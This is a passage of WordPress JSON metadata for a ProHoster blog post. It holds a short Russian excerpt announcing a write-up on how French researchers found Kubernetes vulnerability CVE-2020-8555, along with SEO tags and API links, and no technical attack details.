\u043f\u0435\u0440\u0435\u0432.: \u0430\u0432\u0442\u043e\u0440\u044b \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438 \u0432 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u0445 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2020\u20138555 \u0432 Kubernetes. \u0425\u043e\u0442\u044f \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043e\u043d\u0430 \u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0439, \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0444\u0430\u043a\u0442\u043e\u0440\u0430\u043c\u0438 \u0435\u0451 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c \u0443 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439. \u0417\u0430 \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0449\u0435\u0434\u0440\u043e \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0434\u0438\u043b\u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439. \u041a\u0442\u043e \u043c\u044b \u0442\u0430\u043a\u0438\u0435 \u041c\u044b \u2014 \u0434\u0432\u0430 \u0444\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u0438\u0445 [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":86624,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[688],"tags":[],"class_list":["post-86623","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-administrirovanie"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.3 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/pt\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes\" \/>\n\t\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.3\" \/>\n\t\t<meta property=\"og:locale\" content=\"pt_PT\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u041a\u043e\u0433\u0434\u0430 \u0434\u0435\u043b\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Kubernetes\u2026 | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/pt\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2020-06-27T17:42:40+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2020-06-27T17:42:40+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47Quando a quest\u00e3o n\u00e3o se resume apenas a uma vulnerabilidade no Kubernetes\u2026 | ProHoster","description":"Nota.","canonical_url":"https:\/\/prohoster.info\/pt\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"pt_PT","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041a\u043e\u0433\u0434\u0430 \u0434\u0435\u043b\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Kubernetes\u2026 | ProHoster","og:description":"\u041f\u0440\u0438\u043c.","og:url":"https:\/\/prohoster.info\/pt\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2020-06-27T17:42:40+00:00","article:modified_time":"2020-06-27T17:42:40+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"86623","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-02-28 14:11:05","updated":"2022-09-28 21:18:58","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/pt\/wp-json\/wp\/v2\/posts\/86623","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/pt\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/pt\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/pt\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/pt\/wp-json\/wp\/v2\/comments?post=86623"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/pt\/wp-json\/wp\/v2\/posts\/86623\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/pt\/wp-json\/wp\/v2\/media\/86624"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/pt\/wp-json\/wp\/v2\/media?parent=86623"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/pt\/wp-json\/wp\/v2\/categories?post=86623"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/pt\/wp-json\/wp\/v2\/tags?post=86623"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}